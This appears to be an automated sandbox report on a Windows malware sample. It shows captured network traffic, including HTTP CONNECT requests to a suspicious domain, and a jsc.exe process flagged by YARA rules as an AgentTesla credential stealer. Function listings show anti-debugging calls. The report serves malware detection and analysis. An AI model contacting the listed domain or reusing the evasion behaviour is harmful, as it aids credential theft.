2024-03-11 14:21:00 UTC	1370	IN	Data Raw: 3d 22 61 6c 6c 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 64 61 74 61 2d 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 67 69 74 68 75 62 61 73 73 65 74 73 2e 63 6f 6d 2f 61 73 73 65 74 73 2f 64 61 72 6b 5f 63 6f 6c 6f 72 62 6c 69 6e 64 2d 61 66 61 39 39 64 63 66 34 30 66 37 2e 63 73 73 22 20 2f 3e 3c 6c 69 6e 6b 20 64 61 74 61 2d 63 6f 6c 6f 72 2d 74 68 65 6d 65 3d 22 6c 69 67 68 74 5f 63 6f 6c 6f 72 62 6c 69 6e 64 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 61 6e 6f 6e 79 6d 6f 75 73 22 20 6d 65 64 69 61 3d 22 61 6c 6c 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 64 61 74 61 2d 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 67 69 74 68 75 62 61 73 73 65 74 73 2e 63 6f 6d 2f 61 73 73 65 74 73 2f Data Ascii: ="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_colorblind-afa99dcf40f7.css" /><link data-color-theme="light_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/
2024-03-11 14:21:00 UTC	1370	IN	Data Raw: 67 69 74 68 75 62 2d 66 34 64 38 35 37 63 62 63 39 36 61 2e 63 73 73 22 20 2f 3e 0a 20 20 3c 6c 69 6e 6b 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 61 6e 6f 6e 79 6d 6f 75 73 22 20 6d 65 64 69 61 3d 22 61 6c 6c 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 67 69 74 68 75 62 61 73 73 65 74 73 2e 63 6f 6d 2f 61 73 73 65 74 73 2f 72 65 70 6f 73 69 74 6f 72 79 2d 36 32 34 37 63 61 32 33 38 66 64 34 2e 63 73 73 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 61 6e 6f 6e 79 6d 6f 75 73 22 20 6d 65 64 69 61 3d 22 61 6c 6c 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 67 69 74 68 75 62 61 73 73 Data Ascii: github-f4d857cbc96a.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/repository-6247ca238fd4.css" /><link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubass
2024-03-11 14:21:00 UTC	1370	IN	Data Raw: 70 73 3a 2f 2f 67 69 74 68 75 62 2e 67 69 74 68 75 62 61 73 73 65 74 73 2e 63 6f 6d 2f 61 73 73 65 74 73 2f 76 65 6e 64 6f 72 73 2d 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 73 74 61 63 6b 74 72 61 63 65 2d 70 61 72 73 65 72 5f 64 69 73 74 5f 73 74 61 63 6b 2d 74 72 61 63 65 2d 70 61 72 73 65 72 5f 65 73 6d 5f 6a 73 2d 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 67 69 74 68 75 62 5f 62 72 6f 2d 61 34 63 31 38 33 2d 37 39 66 39 36 31 31 63 32 37 35 62 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 61 6e 6f 6e 79 6d 6f 75 73 22 20 64 65 66 65 72 3d 22 64 65 66 65 72 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 67 69 Data Ascii: ps://github.githubassets.com/assets/vendors-node_modules_stacktrace-parser_dist_stack-trace-parser_esm_js-node_modules_github_bro-a4c183-79f9611c275b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://gi
2024-03-11 14:21:00 UTC	1370	IN	Data Raw: 22 20 64 65 66 65 72 3d 22 64 65 66 65 72 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 67 69 74 68 75 62 61 73 73 65 74 73 2e 63 6f 6d 2f 61 73 73 65 74 73 2f 76 65 6e 64 6f 72 73 2d 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 67 69 74 68 75 62 5f 63 6f 6d 62 6f 62 6f 78 2d 6e 61 76 5f 64 69 73 74 5f 69 6e 64 65 78 5f 6a 73 2d 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 67 69 74 68 75 62 5f 6d 61 72 6b 64 6f 77 6e 2d 74 6f 6f 6c 62 61 72 2d 65 2d 38 32 30 66 63 30 2d 62 63 38 66 30 32 62 39 36 37 34 39 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 61 6e 6f 6e 79 6d 6f 75 73 22 20 64 65 66 65 72 Data Ascii: " defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_combobox-nav_dist_index_js-node_modules_github_markdown-toolbar-e-820fc0-bc8f02b96749.js"></script><script crossorigin="anonymous" defer
2024-03-11 14:21:00 UTC	1370	IN	Data Raw: 66 65 72 3d 22 64 65 66 65 72 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 67 69 74 68 75 62 61 73 73 65 74 73 2e 63 6f 6d 2f 61 73 73 65 74 73 2f 65 6c 65 6d 65 6e 74 2d 72 65 67 69 73 74 72 79 2d 38 35 37 34 35 33 30 61 36 63 64 35 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 61 6e 6f 6e 79 6d 6f 75 73 22 20 64 65 66 65 72 3d 22 64 65 66 65 72 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 67 69 74 68 75 62 61 73 73 65 74 73 2e 63 6f 6d 2f 61 73 73 65 74 73 2f 76 65 6e 64 6f Data Ascii: fer="defer" type="application/javascript" src="https://github.githubassets.com/assets/element-registry-8574530a6cd5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendo
2024-03-11 14:21:00 UTC	1370	IN	Data Raw: 65 72 74 5f 69 6e 64 65 78 5f 6a 73 2d 37 32 63 39 66 62 64 65 35 61 64 34 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 61 6e 6f 6e 79 6d 6f 75 73 22 20 64 65 66 65 72 3d 22 64 65 66 65 72 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 67 69 74 68 75 62 61 73 73 65 74 73 2e 63 6f 6d 2f 61 73 73 65 74 73 2f 76 65 6e 64 6f 72 73 2d 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 70 72 69 6d 65 72 5f 62 65 68 61 76 69 6f 72 73 5f 64 69 73 74 5f 65 73 6d 5f 64 69 6d 65 6e 73 69 6f 6e 73 5f 6a 73 2d 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 67 69 74 68 75 62 5f 6a 74 6d 6c 5f 6c 69 62 5f 69 6e 64 65 78 Data Ascii: ert_index_js-72c9fbde5ad4.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_behaviors_dist_esm_dimensions_js-node_modules_github_jtml_lib_index
2024-03-11 14:21:00 UTC	1370	IN	Data Raw: 62 5f 62 65 68 61 76 69 6f 72 73 5f 69 6e 63 6c 75 64 65 2d 34 36 37 37 35 34 2d 66 39 62 64 34 33 33 65 39 35 39 31 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 61 6e 6f 6e 79 6d 6f 75 73 22 20 64 65 66 65 72 3d 22 64 65 66 65 72 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 67 69 74 68 75 62 61 73 73 65 74 73 2e 63 6f 6d 2f 61 73 73 65 74 73 2f 61 70 70 5f 61 73 73 65 74 73 5f 6d 6f 64 75 6c 65 73 5f 67 69 74 68 75 62 5f 62 65 68 61 76 69 6f 72 73 5f 63 6f 6d 6d 65 6e 74 69 6e 67 5f 65 64 69 74 5f 74 73 2d 61 70 70 5f 61 73 73 65 74 73 5f 6d 6f 64 75 6c 65 73 5f 67 69 74 68 75 62 5f Data Ascii: b_behaviors_include-467754-f9bd433e9591.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_commenting_edit_ts-app_assets_modules_github_

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.9	52543	172.67.190.93	443	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-11 14:21:05 UTC	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
2024-03-11 14:21:05 UTC	161	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:05 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: -
2024-03-11 14:21:05 UTC	155	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.9	55161	222.255.238.159	443	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-11 14:21:14 UTC	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
2024-03-11 14:21:14 UTC	192	IN	HTTP/1.1 500 Internal Server Error Date: Mon, 11 Mar 2024 14:21:14 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 638 Connection: close Content-Type: text/html; charset=iso-8859-1
2024-03-11 14:21:14 UTC	638	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.<

Target ID:	1
Start time:	15:20:56
Start date:	11/03/2024
Path:	C:\Users\user\Desktop\Your file name without extension goes here.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\Desktop\Your file name without extension goes here.exe
Imagebase:	0x1db4eb60000
File size:	25'600 bytes
MD5 hash:	6F4EF9CFDD9D5962578F69740DCA09BD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	5
Start time:	15:21:09
Start date:	11/03/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe
Imagebase:	0xc30000
File size:	47'584 bytes
MD5 hash:	94C8E57A80DFCA2482DEDB87B93D4FD9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000005.00000002.2587555159.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000005.00000002.2587555159.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000005.00000002.2593731656.0000000002F61000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000005.00000002.2593731656.0000000002F61000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	15:21:14
Start date:	11/03/2024
Path:	C:\Windows\System32\WerFault.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\WerFault.exe -u -p 2796 -s 7032
Imagebase:	0x7ff6efb50000
File size:	570'736 bytes
MD5 hash:	FD27D9F6D02763BDE32511B5DF7FF7A0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	12.8%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	10%
Total number of Nodes:	30
Total number of Limit Nodes:	6

Executed Functions

Function 02DCB0E5 Relevance: 2.9, Instructions: 2862COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2593003816.0000000002DC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2dc0000_jsc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3d74d0b845be612a4ea33bd061d8ca6c56036e3d3e166526ac2c808f2a6588b3
Instruction ID: c1417715cd7204e042533e2c27da6f966a7f7844d59c2e01dfcbdf75bb4f83e5
Opcode Fuzzy Hash: 3d74d0b845be612a4ea33bd061d8ca6c56036e3d3e166526ac2c808f2a6588b3
Instruction Fuzzy Hash: 5D531E31D10B1A8ACB51EF68C854699F7B1FF99300F61D79AE45877221EB70AAC4CF81

Uniqueness

Uniqueness Score: -1.00%

Function 02DCAD18 Relevance: 2.8, Instructions: 2813COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2593003816.0000000002DC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2dc0000_jsc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9a6496937689abf010ccd559928528f576bc3345ac96c3562ca6a469137625dd
Instruction ID: 2e887b555f32614f19a3a514745d0742df6052c16ecbeea2aa509420635da90e
Opcode Fuzzy Hash: 9a6496937689abf010ccd559928528f576bc3345ac96c3562ca6a469137625dd
Instruction Fuzzy Hash: 3E53F931D10B1A8ADB51EF68C8446A9F7B1FF99300F51D79AE45877221FB70AAC4CB81

Uniqueness

Uniqueness Score: -1.00%

Function 02DC70A8 Relevance: 1.6, APIs: 1, Instructions: 65
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CheckRemoteDebuggerPresent.KERNELBASE(?,?), ref: 02DC711F

Memory Dump Source

Source File: 00000005.00000002.2593003816.0000000002DC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2dc0000_jsc.jbxd

Similarity

API ID: CheckDebuggerPresentRemote
String ID:
API String ID: 3662101638-0
Opcode ID: 197016bccba37f0bf5b2dc8d16b6e3ddfb53d8983defc888c6398205986ebbaf
Instruction ID: 320587beb555e39f0552356eb75897eba3fb5947d0a9b396a0dcd720cce2e349
Opcode Fuzzy Hash: 197016bccba37f0bf5b2dc8d16b6e3ddfb53d8983defc888c6398205986ebbaf
Instruction Fuzzy Hash: 9721F87190125A8FDB10CF9AD844BEEFBF4AF49320F14846EE455A7350D778AA44CF61

Uniqueness

Uniqueness Score: -1.00%

Function 06992398 Relevance: 1.5, Instructions: 1495COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2599845618.0000000006990000.00000040.00000800.00020000.00000000.sdmp, Offset: 06990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6990000_jsc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 001d4861ae8efba87cb2ece6708f865aa75026546a3a8a6a2d64c6d6b1341bad
Instruction ID: 6839e4b8f7f6c3298e6804092a3c003d8c4f955fd05e22571c126535c0855325
Opcode Fuzzy Hash: 001d4861ae8efba87cb2ece6708f865aa75026546a3a8a6a2d64c6d6b1341bad
Instruction Fuzzy Hash: B0D26834E10209DFDB64DF68C484AADB7B2FF89310F6485A9D409AB751EB35ED81CB90

Uniqueness

Uniqueness Score: -1.00%

Function 06996630 Relevance: .8, Instructions: 809COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2599845618.0000000006990000.00000040.00000800.00020000.00000000.sdmp, Offset: 06990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6990000_jsc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1e151cca3b567a9ceec7c65f8be4ce4a3fb9fc387713689c7f3003874cec19e4
Instruction ID: a15ae7121b420cfd4eef8ce55d30950bca6d08c3ac8f04114c33c2549bb16348
Opcode Fuzzy Hash: 1e151cca3b567a9ceec7c65f8be4ce4a3fb9fc387713689c7f3003874cec19e4
Instruction Fuzzy Hash: 2D625C34A102049FEF54DBA8D594BADB7F6EF88314F248569E406EB790DB35EC41CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 0699B280 Relevance: .8, Instructions: 769COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2599845618.0000000006990000.00000040.00000800.00020000.00000000.sdmp, Offset: 06990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6990000_jsc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3f2ce3ef6c6f990670a5cc2ffb2efd0a04a667b4bd0160125fc88681aba91960
Instruction ID: 1cfba917fb246e5d76d475ed51299fee0f2543d668e23a690123028a050badea
Opcode Fuzzy Hash: 3f2ce3ef6c6f990670a5cc2ffb2efd0a04a667b4bd0160125fc88681aba91960
Instruction Fuzzy Hash: 15526F30E102098FEF64DB6CE4947AEB7B6FB89310F608529D405EB795DA39DC41CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 0699C1D0 Relevance: .6, Instructions: 632
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000005.00000002.2599845618.0000000006990000.00000040.00000800.00020000.00000000.sdmp, Offset: 06990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6990000_jsc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 97015384b47d6aecde4abf1115f7382421f3368ad3382bff60fc7fc9f8e1a6b9
Instruction ID: facd2af28a60cb20154efd18df73691157138ee2faf8e3a6ba59df44bb78f25b
Opcode Fuzzy Hash: 97015384b47d6aecde4abf1115f7382421f3368ad3382bff60fc7fc9f8e1a6b9
Instruction Fuzzy Hash: D8324934B10209DFDF54DB68D890BAEB7B6EB88310F208529D405EB795DB75EC42CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 069951F0 Relevance: .6, Instructions: 592
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000005.00000002.2599845618.0000000006990000.00000040.00000800.00020000.00000000.sdmp, Offset: 06990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6990000_jsc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 80766668988ce6696e50bdd83cbcbb4b8250e18dcd6cdad6cfe62757a597620d
Instruction ID: 6913ac6e03ef1b4bb468dbeb010bd32023318920db172b3b3c0480802fd89fce
Opcode Fuzzy Hash: 80766668988ce6696e50bdd83cbcbb4b8250e18dcd6cdad6cfe62757a597620d
Instruction Fuzzy Hash: F722B031F002149FDF65DBACD8807AEBBAAEB85310F258469D815EB785DB34DC45CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 06997DC8 Relevance: .5, Instructions: 470
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000005.00000002.2599845618.0000000006990000.00000040.00000800.00020000.00000000.sdmp, Offset: 06990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6990000_jsc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f47b4ad619d6ae456de7e067d050f3b01fe18f0ad809549aa83d6af405b66ca5
Instruction ID: 12f660593db99e4a918f24fa564d38f816b93169f9e129dc8ba81a0d781e37f1
Opcode Fuzzy Hash: f47b4ad619d6ae456de7e067d050f3b01fe18f0ad809549aa83d6af405b66ca5
Instruction Fuzzy Hash: 24028E30B102058FDF54DBA8D994AAEB7F6FF85310F248969D4059B791DB35EC82CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 02DCECF0 Relevance: .3, Instructions: 329COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2593003816.0000000002DC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2dc0000_jsc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 82227672dd7722b5c07f3b02f30fa0e8df054e1ac9bd158f90e33f11445014bd
Instruction ID: 686b0768001e69353015d7aa27aba207135d00fe135a23b77c48b216b4999b4d
Opcode Fuzzy Hash: 82227672dd7722b5c07f3b02f30fa0e8df054e1ac9bd158f90e33f11445014bd
Instruction Fuzzy Hash: B1B18034B002199FDB18AB79946437E7BB7ABC8710F24856EE446D7388DE34DC06DB91

Uniqueness

Uniqueness Score: -1.00%

Function 02DC4AC0 Relevance: .3, Instructions: 266COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2593003816.0000000002DC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2dc0000_jsc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2f2d1c2e4e1a29647fed9f1d8c68ff4cf3371551a08324c0f802fcf4b5d31649
Instruction ID: f90089ce4323c59dfc4c0bfaf870f0dd38b1ff54c8f3156b9e34307a3b9a811b
Opcode Fuzzy Hash: 2f2d1c2e4e1a29647fed9f1d8c68ff4cf3371551a08324c0f802fcf4b5d31649
Instruction Fuzzy Hash: 04B16B70E0020ACFDB10CFA9D9A17AEBBF2AF88714F24852DD415A7394EB749C41CB91

Uniqueness

Uniqueness Score: -1.00%

Function 02DC3EA8 Relevance: .2, Instructions: 238COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2593003816.0000000002DC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2dc0000_jsc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8e8687559e8fd04fab094c53d2da8daacffd157da5a9807819d5a56fa0a14957
Instruction ID: 182aad9af17356c3e1c6b477270ce40e229a98fecc2182a64abdddd00f652b7f
Opcode Fuzzy Hash: 8e8687559e8fd04fab094c53d2da8daacffd157da5a9807819d5a56fa0a14957
Instruction Fuzzy Hash: 79915870E0020A8FDB24CFA9C89579EBBF2AF88714F24852DE815A7394DB749D45CB91

Uniqueness

Uniqueness Score: -1.00%

Function 02DCF188 Relevance: 1.6, APIs: 1, Instructions: 125
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000005.00000002.2593003816.0000000002DC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2dc0000_jsc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a1077c08a0ee63bc85f0d22b79aa27478ebaa062c32fcaae6e3c15dd01fe2d98
Instruction ID: 43865a608a57c870db61ae4e129096d74654012925e0793e5cf27bdcc918f705
Opcode Fuzzy Hash: a1077c08a0ee63bc85f0d22b79aa27478ebaa062c32fcaae6e3c15dd01fe2d98
Instruction Fuzzy Hash: 7D41F471E1435A8FDB04DFA9D8047EABBF1AF89210F14866BD804A7741EB749944CBE0

Uniqueness

Uniqueness Score: -1.00%

Function 02DC70A3 Relevance: 1.6, APIs: 1, Instructions: 67
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CheckRemoteDebuggerPresent.KERNELBASE(?,?), ref: 02DC711F

Memory Dump Source

Source File: 00000005.00000002.2593003816.0000000002DC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2dc0000_jsc.jbxd

Similarity

API ID: CheckDebuggerPresentRemote
String ID:
API String ID: 3662101638-0
Opcode ID: 3573a320bee0f62e56d5fd920e113d9fa5b033815755f4aa0c90e43a46742aac
Instruction ID: 6f70f8a4a6da9e23a299a7d97126c9c5b086dd5b59d376c0f57cf44746956880
Opcode Fuzzy Hash: 3573a320bee0f62e56d5fd920e113d9fa5b033815755f4aa0c90e43a46742aac
Instruction Fuzzy Hash: 9121267190025A8FDB10CF9AD4847EEFBF4AF49210F14846AE455A7350D3789A44CF60

Uniqueness

Uniqueness Score: -1.00%

Function 02DCF258 Relevance: 1.6, APIs: 1, Instructions: 52
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GlobalMemoryStatusEx.KERNELBASE ref: 02DCF2C7

Memory Dump Source

Source File: 00000005.00000002.2593003816.0000000002DC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2dc0000_jsc.jbxd

Similarity

API ID: GlobalMemoryStatus
String ID:
API String ID: 1890195054-0
Opcode ID: 798043def2e7e14b3fa953a2b6a77f42788b53de84d202326de68b24dd1a2577
Instruction ID: 4c17425ef9dd84881075afa3e63b72b1cb175174cf3e8267fe8abfc1180618a6
Opcode Fuzzy Hash: 798043def2e7e14b3fa953a2b6a77f42788b53de84d202326de68b24dd1a2577
Instruction Fuzzy Hash: 371103B6C0065A9FDB10CF9AC544BDEFBB5AF48210F15816AD818B7740D378AA44CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 0699CF80 Relevance: .8, Instructions: 796
COMMON

Download Yara Rule

